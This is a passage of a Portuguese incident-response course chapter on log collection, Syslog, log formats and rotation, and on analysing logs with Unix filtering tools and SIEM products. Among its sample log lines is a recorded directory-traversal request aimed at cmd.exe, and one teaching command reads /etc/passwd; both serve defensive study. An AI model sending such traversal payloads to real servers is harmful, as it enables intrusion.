Sendo assim, existe um conjunto de elementos que estabelecem uma infraestrutura de modo a prover o efetivo funcionamento de um sistema de logs. O funcionamento básico de um sistema de log consiste em obter as mensagens geradas por um evento e armazená-las em um sistema de arquivo para posterior análise. De forma geral, os arquivos de logs são armazenados localmente no servidor onde as aplicações estão sendo executadas. No entanto, armazenar os logs localmente podem trazer possíveis pontos de insegurança. Sabe-se que os sistemas falham, e em alguns incidentes nem sempre é possível ter acesso ao sistema comprometido para analisar os logs. Além do mais, uma vez que o sistema esteja comprometido, o atacante pode utilizar ferramentas para apagar logs e evidências de


informações de eventos.

135

acesso ao sistema. Sendo assim, ter uma cópia dos logs em outro local permite ter acesso às informações mesmo diante da inacessibilidade da fonte dos logs. A situação é ainda mais crítica em ambientes virtualizados baseados em computação em nuvens. Nesses cenários, quando a infraestrutura é afetada, o acesso às informações críticas pode ser inviável. Uma técnica bastante comum é armazenar os logs remotamente na rede, usando servi-

q

dores centralizados na mesma estrutura da rede. Dessa forma, um servidor pode armazenar informações de diferentes serviços de maneira centralizada. Esses servidores que centralizam informações de logs podem ser sistemas dedicados para tal função com alto nível de segurança. Por exemplo, servidores onde apenas é possível que informações sejam adicionadas ao sistema de arquivo – política apenas escrita incremental (append only). Em alguns casos, o servidor de logs central não possui comunicação com a internet, apenas com a rede interna incluindo as máquinas que exportam logs e servidores de backup. A transmissão e coleção de dados de logs é um processo relativamente simples. Computadores e dispositivos que implementam subsistemas de logs podem registrar informações e transmiti-las segundo a configuração especificada. Essa transmissão dos eventos de logs para um servidor pode ser realizada de diferentes

q

maneiras, podendo ser: 11 Exportação em tempo de execução; 11 Definir um conjunto de informações a serem exportadas periodicamente. Na figura 7.3, é ilustrada uma infraestrutura de coleta e armazenamento de logs. O principal elemento da estrutura centralizada é uma entidade denominada de loghost – servidor de logs – que nada mais é do que um servidor Unix ou Windows Server onde as informações são armazenadas de forma integrada. Dessa forma, os diferentes dispositivos (roteadores, firewalls, switches e servidores) podem exportar as informações para o servidor centralizado.

Ainda na figura 7.3, é possível identificar um servidor de armazenamento que


gerencia e arquiva as informações do loghost para períodos de longo prazo.

136

servidor de logs

servidor de armazenamento

offline

fita de backup

Figura 7.3 Estrutura centralizada para armazenamento de logs.

Além de aspectos de segurança, usar um servidor de logs centralizado pode ter as

q

seguintes vantagens: 11 Ter um local centralizado para armazenar as informações de múltiplas fontes de dados; 11 Ter um local para realizar backup de todos os dados de log; 11 Ter um local para analisar e correlacionar informações de diferentes fontes. A exportação das informações de eventos para o servidor central é realizada utilizando um protocolo de comunicação específico. Uma das maneiras mais utilizadas para transferir as informações de eventos (logs) é por meio do protocolo Syslog. O protocolo Syslog é um padrão aberto – definido pela RFC 3164 – para transmitir mensagens de eventos e notificações. Para isso, a especificação do Syslog define uma arquitetura modular para transmissão de notificações e também estipula um formato para as mensagens de logs. De forma simplificada, a arquitetura do Syslog define dois componentes básicos: um cliente (originador de mensagens) e um servidor (coletor de mensagens). O cliente Syslog é responsável por gerar as informações de eventos e pode ser configurado para enviar as informações para um servidor local ou um servidor de logs remoto. Já o servidor Syslog, é responsável por receber, ou retransmitir, as informações dos clientes e armazená-las em um repositório de dados, tipicamente um sistema de arquivo. Como descrito, todas as informações transmitidas entre o cliente e um servidor de um sistema de log são realizadas via protocolo de transporte homólogo. O protocolo Syslog, por sua vez, utiliza-se do protocolo UDP. Logo, todas as mensagens de eventos e notificações transmitidas para servidores remotos utilizam a porta 514/UDP. Em versões mais modernas do protocolo, tais como o rsyslog e syslog-ng, também é possível transmitir informações de eventos com confirmação de entrega, usando o protocolo TCP. O Syslog não é o único mecanismo de transmissão e coleta de logs. Existem outras implementações com especificações abertas, e também implementações utilizando protocolos proprietários. A seguir os mecanismos mais utilizados em infraestrutura de coleta de logs:

q

11 Syslog: protocolo aberto baseado UDP. Mais comum e prevalente mecanismo para log; 11 Simple Network Management Protocol (SNMP): originalmente utilizado para gerenciamento de rede, no entanto pode ser utilizado para registrar determinados eventos (via traps); 11 Windows Event Log: formato proprietário de logs da empresa Microsoft. Pode ser utilizado na maioria dos dispositivos usando a plataforma Windows; 11 Banco de Dados: algumas aplicações utilizam base de dados remota para armazenar informações de logs de uma maneira estruturada; 11 Protocolos proprietários: alguns sistemas e aplicações implementam protocolos customizados, até mesmo criptografados, para transferir e coletar informações dos eventos. Uma infraestrutura de logs pode ser composta por diferentes protocolos. Não é raro observar ambientes heterogêneos onde diferentes soluções (protocolos e mecanismos) são utilizadas para compor uma estrutura central de coleta de logs. Consequentemente, em ambientes heterogêneos, observam-se diferentes tipos de formatos e taxonomia de mensagens. Na sequência, os aspectos relacionados com os diferentes formatos de logs são abordados.

Diversidade no formato dos logs Como comentado, os ambientes heterogêneos são compostos por dispositivos e aplicações


l

Syslog como aplicação: para coletar e armazenar eventos. Protocolo: transporte de eventos.

que nem sempre seguem um único formato ou especificação para registro de eventos. 137

Cada sistema de registro de eventos possui suas próprias características, com as suas respectivas vantagens e desvantagens (vide tabela 7.1).

q

É possível classificar os formatos de logs nas seguintes categorias: 11 Syslog: formato de mensagem baseado na especificação Syslog, contemplando syslog-ng, rsyslog e demais implementações que são embasadas no Syslog. O formato Syslog é um formato texto sem uma especificação rígida no formato das mensagens. Embora as mensagens apresentem certa estrutura, o conteúdo da mensagem pode ser composto com qualquer informação de eventos. Ou seja, não existe um dicionário de termos que podem ser utilizados para expressar o universo de eventos reportados; 11 Texto puro: são arquivos-texto que descrevem eventos sem nenhuma estrutura especificada. O registro de eventos não segue um padrão comum. Vale-se da forma livre. Esse tipo de formato é comum para registrar eventos de aplicações onde as mensagens são acrescentadas sequencialmente em um arquivo de logs; 11 Formato binário: esses tipos de formatos geralmente são especificados por fabricantes para representar mensagens de eventos de seus dispositivos, tais como firewalls e aplicações de segurança. Tipicamente as informações são bem estruturadas e podem ser facilmente analisadas por uma ferramenta ou aplicação de análise. Existem formatos binários que não são proprietários, tal como o formato pcap – utilizado pelo analisador de rede tcpdump. Nesses casos, o formato binário é utilizado por questões de desempenho: registrar uma grande quantidade de eventos sem a necessidade de convertê-las para um formato de texto é menos custoso computacionalmente. Vantagens

Desvantagens

Syslog

Disponível em boa parte dos sistemas facilitando a integração com ferramentas e dispositivos existentes.

Formato não estruturado ou semiestruturado. A análise de informações de forma automatizada nem sempre é trivial e pode ser custosa.

Texto Puro

Tipicamente utilizado para depuração de aplicações, onde o desenvolvedor tem liberdade para estruturar as informações.

Ausência de estruturação. Muitas vezes as informações são úteis apenas para o desenvolvedor.

Formato binário

Análise das informações armazenadas pode ser automatizada por apresentarem um formato bem estruturado.

Não pode ser lido por editores tradicionais de texto, sendo necessárias ferramentas específicas para a leitura.

Na sequência, são apresentados diferentes tipos de logs para que um investigador possa familiarizar-se com o formato e com que tipo de informação pode ser encontrado nos sistemas a serem analisados.


Autenticação de um usuário utilizando o serviço SSH em um ambiente Linux

138

Oct

6 00:20:54 server sshd[22652]: Accepted password for root

from 200.x.1.6 port 39856 ssh2 Reinício de Sistema Operacional Linux

Dec 18 11:18:20 sysgate shutdown[31208]: shutting down for system reboot Ajuste de sincronização de tempo realizado pelo serviço NTP

Oct

5 15:32:26 server ntpd[18983]: adjusting clock frequency by

-0.298083 to -0.429360ppm

q

Tabela 7.1 Características dos diferentes formatos de logs.

q

Criando um usuário no sistema Windows

Oct 29 08:43:36 10.10.10.10 Security: 624: \: User Account Created: New Account Name: New Domain: Troca de privilégio

Mar 30 15:14:33 HOST su: [ID 366847 auth.notice] ‘su root’ succeeded for USER on /dev/pts/2 Log de firewall Checkpoint

Oct

9 14:20:25 nok1 [LOG_CRIT] kernel: fwlock_call_at_release:

no memory available for operation Alteração de configuração de um roteador da marca Extreme

Apr

4 14:31:03 10.18.3.253 KERN: NV:Starting configuration save

(primary) operation Erro de autenticação do software VNC

Oct 25 13:45:45 10.10.10.200 WinVNC4: 1: SConnection: AuthFailureException: Either the username was not recognised, or the password was incorrect Tentativa de acesso a um servidor web

2001:X:X:X::108 - - [30/Sep/2013:18:40:06 -0300] “GET //cgi-bin/..% c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/ c+dir+c: HTTP/1.1” 404 7488 “Mozilla/5.0 (X11; Linux; rv:1 7.0) Gecko/17.0 Firefox/17.0 OpenVAS/6.0.0” Alerta gerado pelo IDS Snort

[**] [1:1002:15] WEB-IIS cmd.exe access [**] [Classification: Web Application Attack] [Priority: 1] 10/24-20:15:11.900014 x.x.x.x:42200 -> y.y.y.y:80 TCP TTL:56 TOS:0x0 ID:15236 IpLen:20 DgmLen:288 DF***AP*** Seq: 0x1B16EAE9 0x43E0

Ack: 0x905BABE1

Win:

TcpLen: 32

Força bruta a um serviço VoIP

2013-09-30 22:07:28 X.X.X.17/2231->xxx.xxx.2.59/5060 17(0)

Gerenciamento de logs Uma instituição deve implementar certas políticas para gerenciar os registros de eventos

q

dos diferentes sistemas monitorados. As tarefas de gerenciamentos envolvem atividades como instalação e atualização de softwares, configuração de sistemas coletores e também prover recursos para manter a estrutura funcional como um todo. No contexto do gerenciamento de logs, o armazenamento de informações demanda atenção especial. Frequentemente grande quantidade de logs deve ser gerenciada e armazenada de maneira a ser útil para análises posteriores. Essas informações de logs podem ser úteis em uma investigação de um incidente e também podem ser demandadas para questões judiciais.


2013-09-30 22:07:28 X.X.X.17/2231->xxx.xxx.2.74/5060 17(0)

139

Atualmente não existe uma regulamentação para armazenamento de logs. Algumas institui-

l

ções possuem suas próprias políticas, e outras instituições seguem normas internacionais que demandam o armazenamento de informações por um longo período, por exemplo, instituições que seguem a especificação Payment Card Industry (PCI). De fato, se o grande volume de dados armazenados nos sistemas de arquivos não for manejado de forma correta, podem facilmente consumir todos os recursos de armazenamento do sistema, o que pode afetar o funcionamento de outros programas sendo executados. Boa parte dos sistemas implementam mecanismos para automatizar o volume de informações gerenciadas por logs. Entre as principais técnicas utilizadas está a utilização de compressão dos dados (gzip) e a rotação de arquivos. Em sistemas que utilizam soluções baseadas no formato Syslog, a compactação dos arquivos é muito utilizada. Por tratar-se somente de arquivos texto, é possível obter uma taxa de compressão muito alta usando os algoritmos tradicionais de compressão, tal como gzip, bunzip e outros. Por outro lado, em arquivos binários, a compressão nem sempre atinge resultados satisfatórios; no entanto, os arquivos binários tendem a ter um formato mais compacto, o que facilita o armazenamento. Outra técnica utilizada pela maioria dos sistemas é a rotação de arquivos. A rotação de arquivos de logs consiste em arquivar o arquivo corrente e instanciar um novo. Esse arquivamento pode ocorrer de forma periódica – diária, semanal, mensal – ou,

q

ainda, quando determinados limiares foram atingidos, tal como: 11 Tempo: o arquivo de log é rotacionado baseado em um período de tempo; 11 Tamanho: o arquivo é rotacionado quando um determinado tamanho de disco é atingido, por exemplo, 100M, 1G; 11 Tempo e tamanho: nesse caso, o arquivo é rotacionado quando um determinado tamanho de arquivo é atingido ou quando um determinado tempo é atingido. Algumas ferramentas incorporam a funcionalidade de compactação do arquivo na mesma etapa. Dessa maneira, é possível ter a seguinte estrutura de arquivos de logs:

q

1. messages.log: arquivo de log atual onde as informações estão sendo salvas 2. messages.2014.log.gz: log rotacionado contendo informações de eventos do último ano. O gerenciamento das informações de logs devem considerar as particularidades de cada instituição. Portanto, é necessário estimar o volume de informações que são geradas pelos sis-


temas de logs e por quanto tempo essas informações devem ser mantidas com segurança.

Análise de logs A contextualização anterior possibilitou uma visão geral do processo de logs.

q

Para isso, foram descritos elementos e também os principais formatos das mensagens de logs. Nesta etapa serão descritas metodologias e técnicas que podem ser utilizadas no processo de análise de logs. A análise de logs aqui explicitada pode ser aplicada nos mais diversos contextos,

q

incluindo o processo de resposta a incidentes. Na investigação de um incidente de segurança, em especial, os logs podem prover informações sobre a potencial origem de um ataque e também identificar as ações desempenhadas por um atacante para comprometer um sistema.

140

No Brasil, o CGI.br (Comitê Gestor da Internet no Brasil) propôs uma recomendação onde aconselha o arquivamento de logs por um período de três anos. Mais informações podem ser obtidas em: http://www.cgi.br/ publicacoes/documentacao/desenvolvimento.htm

Tanto nas atividades de detecção de incidentes quanto para a resposta a incidentes,

q

muitas vezes um CSIRT passa por atividades relacionadas com a investigação de logs. Tipicamente notificações de incidentes possuem logs armazenados que descrevem detalhes do incidente sendo notificado. Sendo assim, identificar informações críticas armazenadas nos logs é crucial para dar

q

procedimento ao processo de resposta a incidentes. Afinal, as diferentes informações encontradas nos sistemas de logs podem ser utilizadas para compor indícios de comprometimento de sistemas. De forma resumida, a análise de logs relacionada com o processo de resposta a inci-

q

dentes possibilita: 11 Identificar padrão de tráfico não usual; 11 Comandos executados e processos instanciados; 11 Identificar origem dos acessos aos sistemas; 11 Modificações em sistemas e arquivos; 11 Possíveis erros e exceções ocasionadas pela execução de programas. Identificar atividades maliciosas e comportamentos anormais nos arquivos de logs pode ser uma tarefa complexa. Nem sempre o processamento das informações presentes nos arquivos pode ser processado manualmente ou, ainda, automatizado na sua totalidade. Diante disso, torna-se necessário enumerar as principais dificuldades encontradas no processamento de logs. Entre os principais desafios, encontram-se:

q

11 Grande volume de dados: o volume de dados registrados por diferentes sistemas e aplicações de uma instituição pode facilmente a chegar a gigabytes diários. Com esse volume, a análise manual torna-se inviável e faz-se necessário utilizar ferramentas para lidar com as informações; 11 Ausência de informações: informações críticas dos logs, tal como data e hora com fuso horário, dificultam a análise dos logs; 11 Falsos alarmes: mensagens que não refletem a realizada, como por exemplo, mensagens de falso positivo originadas por sistemas IDSs; 11 Dados duplicados: um evento de log pode ter sido registrado por diferentes fontes de informação. Isso é essencialmente crítico quando as fontes de informações (dispositivos) não apresentam sincronia de dados;

vezes diversas fontes de informações devem ser analisadas para chegar à real conclusão da análise; 11 Dificuldade de obter dados: em alguns casos cada dispositivo utiliza um formato próprio para armazenar as informações. Quando se deseja analisar informações em um coletor centralizado, nem sempre é possível exportar os dados em um formato unificado para que a análise seja realizada de forma normalizada. Diante disso, cabe à equipe desenvolver metodologias que consigam endereçar as principais dificuldades do processo de análise de logs, previamente descritas. As ferramentas e técnicas utilizadas para análise de logs geralmente consideraram ambientes heterogêneos – com diferentes formatos de mensagens de logs – e, também, as diferentes aplicações


11 Diversidade de informações: devido à falta de padronização dos dados, muitas

responsáveis por gerar eventos de log. 141

De fato, a análise de logs consome tempo, sobretudo com o crescente do número de sistemas que necessitam ser monitorados. Nota-se grande quantidade de eventos relacionados com a segurança de sistemas, incluindo varreduras causadas por worms e ataques automatizados destinados a certos serviços. Sendo assim, muitos times optam por analisar um subconjunto das informações armazenadas de cada vez, priorizando os logs dos sistemas mais críticos para a instituição. Certas instituições, por exemplo, buscam priorizar eventos de segurança relacionados com aplicações web específicas. Outras, porém, dão preferência a alertas de ferramentas de segurança, tal como firewalls e IDS. De uma forma geral, o processo de análise de logs pode classificar os logs em diferentes

q

categorias, sendo: 11 Arquivos de rede: tráfego de rede incluindo pacotes, conexões, protocolos, endereços Ips e varreduras de rede; 11 Arquivos de sistema: dados do sistema incluindo uso de CPU, uso de memória, reinício do dispositivo, sistema de arquivo (espaço livre, arquivos abertos, data de acesso aos arquivos); 11 Dados de processos: que processos estão sendo executados. A análise das diferentes categorias pode ser implementada por ferramentas específicas que permitem automatizar parte das etapas do processo de análise de logs. Para isso, uma metodologia genérica de análise de logs deve ser constituída.

q

Uma metodologia tipicamente especifica etapas bem definidas: 11 Filtragem; 11 Normalização; 11 Correlação. A figura 7.3 ilustra uma metodologia de análise de logs composta por três etapas básicas.

Com isso, é possível observar o fluxo de informação de um processo genérico de análise de mensagens de logs.

análise


filtro

142

correlação normalização

arquivo de log

dados não filtrados

alerta

armazenamento

Como pode ser observado na figura, um fluxo típico de informações no processo de análise de logs passa pela etapa de filtragem, normalização e correlação.

q

Figura 7.4 Fluxo típico de informações para análise de mensagens de logs.

Assim que um arquivo de log é analisado, busca-se filtrar por certos tipos de eventos. Quando esses eventos são mapeados, estes são direcionados para a etapa de normalização. Já os dados não identificados pelo filtro podem ser descartados da análise ou ainda armazenados em uma base para posterior processamento. Na fase de normalização, as diferentes mensagens de logs são unificadas e organizadas

q

de modo a minimizar redundância dos dados. Na sequência, o conteúdo das mensagens passa para a etapa de correlação de eventos. Na correlação, os eventos de diferentes fontes podem ser compostos para uma análise mais precisa propiciando, por exemplo: gerar alertas de segurança; utilização de técnicas específicas de investigação; e ainda o armazenamento dos dados para posterior análise. Na sequência, as etapas são descritas com maior nível de detalhamento.

Filtragem Como comentado anteriormente, a etapa de filtragem tem por objetivo identificar men-

q

sagens de logs segundo um critério pré-definido. Dessa forma, pode-se restringir a análise de logs às mensagens que tenham um determinado padrão ou, ainda, mensagens pertencentes a um período de tempo específico. Tipicamente utilizam-se ferramentas para filtrar informações de logs.

q

Existe um conjunto de ferramentas bem simples, porém eficientes para o processamento de informações presentes em arquivos de logs. Boa parte dessas ferramentas foi concebida para ambiente UNIX, no entanto, podem ser encontradas de forma gratuita para outros sistemas (Windows ou MAC). Acredita-se que a audiência deste curso já esteja familiarizada com essas ferramentas; mesmo assim, cabe relembrar a sua aplicação no contexto de análise de logs. De uma forma geral, os comandos de filtragem recebem um texto de entrada, aplicam um processamento e, por fim, apresentam o resultado da filtragem na saída padrão do sistema. Na sequência são apresentados funcionalidades dos comandos mais populares:

q

cut: separa linhas em campos O comando cut exibe porções selecionadas das linhas de entrada. Sendo comumente utilizado para extrair campos delimitados. O delimitador de campos padrão é o ; no entanto, o delimitador pode ser alterado utilizando a opção “-d”. A opção “–f” especifica que campos devem ser incluídos na saída. sort: ordena as linhas o conteúdo de forma crescente ou decrescente, é possível realizar uma ordenação baseando-se em conteúdo alfanumérico e conteúdo numérico presente no arquivo. uniq: exibe linhas únicas O comando uniq identifica linhas redundantes de um arquivo. Com isso, é possível remover linhas repetidas de um arquivo ou, ainda, contar a ocorrência de cada linha processada. O uniq assume que o texto de entrada seja previamente ordenado, logo geralmente é utilizado em conjunto com o comando sort. wc: conta linhas, palavras e caracteres O comando wc permite contar elementos de um arquivo texto, incluindo: caracteres,


O comando sort ordena as linhas ou colunas de um arquivo texto. Além de ordenar

palavras, linhas e bytes. 143

tee: copia a entrada em duas saídas

q

O comando tee permite replicar um texto de entrada para duas saídas simultaneamente. Por exemplo, é possível ao mesmo tempo salvar o resultado de um comando em um arquivo texto e exibi-lo na saída padrão de forma paginada. head e tail: lê do começo de arquivo e da saída Os comandos head e tail exibem o conteúdo de um arquivo de forma parcial. Respectivamente, o head e tail exibem um determinado número de linhas do arquivo a partir do início e do fim do arquivo. Isso é muito útil em arquivos grandes; dessa forma, é possível extrair as últimas mensagens de logs sem ter de processar o arquivo inteiro. grep: localizar padrões ou expressões regulares em arquivos texto O comando grep corresponde a uma ferramenta bastante robusta para localizar padrões e expressões regulares em arquivos de texto. awk: ferramenta versátil para processar textos O comando awk é uma ferramenta bastante versátil para o processamento de texto, onde uma linguagem própria de programação é especificada de modo a facilitar a análise de dados. Como funcionalidades, o awk permite extrair, isolar e substituir partes de um texto. sed: ferramenta muito flexível para realizar buscas e substituições O comando sed também pode ser considerado uma linguagem de programação. Assim como o comando awk, o comando sed permite extrair, isolar e substituir partes de um texto. Algumas operações são mais triviais de serem implementadas no comando sed do que no awk; no entanto, são comandos que possuem recursos semelhantes. As ferramentas recém-descritas são fundamentais para a filtragem de mensagens de logs. Sabe-se que essas ferramentas podem ser combinadas de modo a produzir melhores resultados. Por exemplo, o comando a seguir:

user@server:—$ cat /etc/passwd | grep bash | cut -d ":" -f 1,7 root:/bin/bash esr:/bin/bash rnp:/bin/bash

Figura 7.5 Comandos de filtragem de texto.

visitante:/bin/bash Na figura são ilustrados alguns comandos para filtragem de texto de forma combinada. Como pode ser visto, o arquivo /etc/passwd é processado em busca da palavra “bash”. Por fim, o Tratamento de Incidentes de Segurança

comando cut secciona o texto usando o “:” como delimitador e exibe o primeiro e o sétimo campo identificado. Uma possível interpretação para esse comando seria: “liste todos os usuários que possuem o interpretador de comandos bash como padrão no Sistema Operacional”.

Normalização A normalização busca organizar as diferentes mensagens e formatos de logs de modo a minimizar redundância dos dados. No processo de investigação de um incidente, muitas vezes é necessário unificar as mensagens dos diferentes sistemas de modo a filtrar certos tipos de padrões. No entanto, um CSIRT deve estar preparado para lidar com diferentes formatos de logs; afinal, é difícil encontrar uma organização com um único formato de log por diversas razões: questões políticas, diferentes vendedores de dispositivos, aplicativos legados e outros.

144

q

Muitas vezes, os diferentes sistemas podem produzir mensagens de logs de modo estruturado (xml, json) e também em formato puro com ausência de estrutura. Nesse contexto, aconselha-se durante o processo de investigação organizar as informações em um formato unificado de modo a facilitar a análise de informações. Nessa unificação, devem ser tratadas questões como formato da data, formato do horário e codificação dos caracteres (utf-8, isso 8999-1). Existem campos comuns que geralmente estão presente nos diferentes formatos de

q

logs, entre eles: 11 Origem/Destino; 11 Tempo; 11 Protocolo; 11 Porta; 11 Nome de usuário; 11 Evento/Notificação/Alerta. Esse processo nem sempre é trivial quando aplicado aos diferentes sistemas de log, tal como: Syslog, multilog, Windows Eventlog e SNMP. Evidentemente, arquivos estruturados e em modo texto podem ser trabalhados de forma mais flexível. Um exemplo é apresentado a seguir: Log-server1.txt: Log do servidor web Windows

q

192.168.114.201, -, 03/20/01, 7:55:20, W3SVC2, SERVER, 200.X.X.X, 4502, 163, 3223, 200, 0, GET, /DeptLogo.gif, -, Log-server2.txt: Log do servidor web Linux

192.168.1.1 - - [31/Dec/2007:00:17:10 +0100] “GET /cgi-bin/example. cgi HTTP/1.1” 200 2708 “-” “curl/7.15.5 (i4 86-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5” 2 example user@server:—$ cat Log-server1.txt | awk -F ','{print "DATA="$3$4 ", IP="$1 ", "$13 $14}' && cat Log-server2.txt | awk -F ' ' '{print "DATA="$4 ", IP="$1 ", "$6 $7}' | tr -d '" [' DATA= 03/20/01 7:55:20

, IP=192.168.114.201,

DATA= 31/Dec/2007:00:17:10, IP=192.168.1.1,

GET/cgi-bin/example.cgi

Na figura é possível observar um exemplo onde logs de diferentes sistemas são normalizados. O primeiro log (Log-server1.txt) contém uma requisição web de um servidor Windows. Já o arquivo seguinte contém uma requisição para um servidor web Linux. Como resultado, alguns campos são filtrados de modo a produzir um formato mais uniforme.

Correlação A fase de correlação de mensagens de logs busca identificar ações relacionadas com um

q

determinado evento investigado. Por exemplo, uma máquina realizando varreduras na rede interna e acessando constantemente um canal de comunicação IRC pode caracterizar eventos correlacionados a um comprometimento por bot. Na etapa de correlação, todas as informações dos logs normalizadas previamente são analisadas de modo a obter indícios de um incidente de segurança. Para efetuar essa

q


Figura 7.6 normalização das mensagens de logs de servidores web.

GET /DeptLogo.gif

correlação de eventos, podem-se usar informações como origem de um ataque, alvo de um ataque, horário inicial, horário final e características de tráfego. 145

De forma pragmática, existem algumas técnicas que podem ser utilizadas para auxiliar no processamento e correlação de eventos. Na sequência, as principais técnicas são descritas: Busca de padrões Essa técnica consiste em identificar padrões específicos de mensagens de logs. Para isso,

q

o investigador deve ter conhecimento prévio do tipo de evento que está pesquisando, tal como: IP atacado ou IP do atacante. Dessa forma, é possível reduzir consideravelmente o volume de mensagens que necessita ser investigadas. Essa técnica é muito utilizada no processo de resposta a incidentes, onde a equipe de investigação busca confirmar a existência de um incidente e também identificar os eventos correlacionados com uma notificação recebida. No entanto, quando aplicada na identificação proativa de incidentes, a busca de padrões apresenta algumas lacunas. Os padrões necessitam ser previamente identificados. Ataques que utilizam padrões não conhecidos são ignorados pela análise.

user@server:—$ grep -i "Invalid user" sshd.log | cut -d " " -f7-9 | sort | uniq -c | sort -kl -nr | head 121 Invalid user test 118 Invalid user guest 17 Invalid user toor 15 Invalid user tester 15 Invalid user student 14 Invalid user testing 14 Invalid user students 10 Invalid user root 10 Invalid user lpd 7 Invalid user webmaster A figura ilustra a busca de padrões em logs do serviço SSH, nos quais foi utilizado um usuário inválido para acessar o sistema. Essas informações podem ser úteis para identificar uma varredura de força bruta realizada em um determinado servidor que faz o uso do serviço SSH. Sumarização de informações Essa técnica busca resumir informações contidas em um arquivo de log em específico, mostrando a frequência de certas informações, tal como número de linhas, número de


acessos; número de origens e outras. Geralmente, a sumarização é realizada por uma

146

ferramenta especializada em um formato de arquivo, pois a ferramenta necessita saber a semântica do arquivo de log para compor as informações resumidas.

q

Figura 7.7 Busca de padrões em logs do serviço SSH.

user@server:—$ cat kern.log | tr -d "DF" | awk '{print $11,$18,$20}' | sort | uniq -c | sort -nr -kl | more 8 SRC=218.X.X.211.19 PROTO=UP PT=42015 8 SRC=216.X.X.19.172 PROTO=UP PT=42015 8 SRC=124.X.X.67.183 PROTO=UP PT=42015 8 SRC=112.X.X.161.9 PROTO=UP PT=42015 7 SRC=211.X.X.245.41 PROTO=UP PT=42015 7 SRC=189.X.X.177.13 PROTO=TCP PT=22 6 SRC=222.X.X.25.44 PROTO=TCP PT=9999 4 SRC=61.X.X.74 PROTO=TCP PT=22 4 SRC=222.X.X.30 PROTO=TCP PT=22 4 SRC=218.X.X.91 PROTO=UP PT=42015 A figura ilustra a sumarização de todos os acessos bloqueados pelo filtro de pacotes iptables. Ao contrário da busca de padrões, a técnica de sumarização apresenta uma versão resumida das informações mapeadas. Isso é essencialmente útil quando se tem um grande volume de informações para ser processados. Remoção de informações Nesta técnica, também é conhecida por AI (artificial ignorance), busca-se remover infor-

q

mações não relevantes para análise. Isso significa reduzir variações não desejadas, ou sabidamente normais nos logs, tais como: informações de controle de logs (hearbeat), e número dos processos (pid). Como resultado, são apresentadas informações não usuais colapsadas com a sua respectiva frequência identificada. Como comentado, os arquivos de logs podem conter informações com nível de detalhamento elevado. Nem sempre todas essas informações – todos os campos de uma mensagem de log – necessitam ser analisados para investigar um determinado incidente.

Ferramentas para o processamento de logs Além das técnicas descritas, existe um conjunto de ferramentas especializadas para

q

implementar o processamento de mensagens de logs. Tais ferramentas são muito heterogêneas, cada qual implementa suas próprias técnicas de análise de logs incluindo técnicas especializadas utilizando inteligência artificial. Existe grande quantidade de ferramentas comerciais e gratuitas para isso. Na sequência, serão descritas algumas ferramentas tradicionais utilizadas por adminis-

q

tradores para gerenciar as informações de logs. 11 logcheck: é uma ferramenta desenvolvida para analisar automaticamente arquivos de log em busca de violações de segurança e atividades não usuais. Para isso, a ferramenta utiliza uma lista de expressões regulares para classificar as mensagens dos logs. Dessa forma, é possível definir categorias, tal como: violação de sistema, mensagens a ignorar, tentativas de comprometimento e outras. Outro recurso da ferramenta é a possibilidade de agendar o processamento das mensagens de logs (hora/ dia/semana/mês) permitindo o envio das análises automatizadas via e-mail;


Figura 7.8 Sumarização dos acessos bloqueados no filtro de pacotes iptables.

147

11 swatch: muito semelhante ao logchecker. Também utiliza expressões regulares para

q

classificar eventos de logs; no entanto, como diferencial a ferramenta permite instanciar ações para cada evento classificado. Por exemplo, assim que muitas tentativas de conexão de um determinado IP são detectadas, uma regra de bloqueio pode ser inserida no filtro de pacotes; 11 OSSEC: ferramenta de código aberto para armazenamento e análise de logs. O conjunto de funcionalidades da ferramenta incluem agentes para diferentes plataformas com os quais é possível receber informações de sistemas de logs, tal como o Syslog. O OSSEC possui um conjunto de regras pré-instaladas com as quais os logs podem ser processados de maneira automatizada, reduzindo consideravelmente o trabalho manual de investigação. Adicionalmente a ferramenta possui suporte para análise de logs em tempo real; 11 Splunk: ferramenta comercial que possui funcionalidades semelhantes ao OSSEC. O Splunk atua como um centralizador de logs, no qual é possível concentrar diferentes formatos de logs. O serviço possui plug-ins que permitem processar logs em formato Syslog e também logs do formato Windows unificando as informações em uma base de dados própria. Adicionalmente, o Splunk implementa módulos de análise de logs, permitindo análises gráficas, análises forense (timeline) e ainda alguns módulos de análise específicos para dispositivos, tal como dispositivos CISCO. Por fim, este capítulo busca apresentar algumas ferramentas de análise de logs e suas características. Não é o objetivo aqui apresentar todas as ferramentas, nem tampouco apresentar ferramentas específicas de fabricantes. Deseja-se prover uma visão das principais funcionalidades as quais um administrador de sistema pode demandar no seu processo de análise de logs. SIEM Security Information and Event Management System (SIEM) é uma ferramenta que

q

combina diferentes funcionalidades úteis para facilitar o processo de coleta, correlação e processamento de informações de segurança. Como característica, a ferramenta SIEM possui uma base de dados unificada, onde é possível correlacionar eventos de segurança e prover alertas para um administrador. Sistemas de SIEM podem coletar os mais diversos eventos para análise. Para isso, boa

q

parte dos SIEM utiliza agentes coletores que podem ser instalados nos diversos sistemas, tal como: equipamentos de rede, servidores, firewalls, antivírus e sistemas de Tratamento de Incidentes de Segurança

detecção de intrusão. Os agentes coletam eventos e os encaminham para um servidor

148

central, o qual implementa técnicas para identificar anomalias. Tais regras para análise de anomalias podem utilizar regras simples com análise estatística ou ainda heurísticas desenvolvidas pelo próprio usuário. Em sistemas mais complexos, tipicamente soluções comerciais, diferentes análises podem ser utilizadas (gráficas, estatísticas e inteligência artificial) e, como resultado de uma análise, ações podem ser configuradas a partir da interface de gerenciamento.

Aspectos de segurança

Detalhes técnicos e demais recursos para a proteção da infraestrutura de logs fogem do escopo deste capítulo; no entanto, mais informações podem ser encontradas em: Logging and Log Management: The Authoritative Guide to Dealing with Syslog, Audit Logs, Events, Alerts and other IT.

A análise dos arquivos de logs deve estar embasada na integridade das informações arma-

q

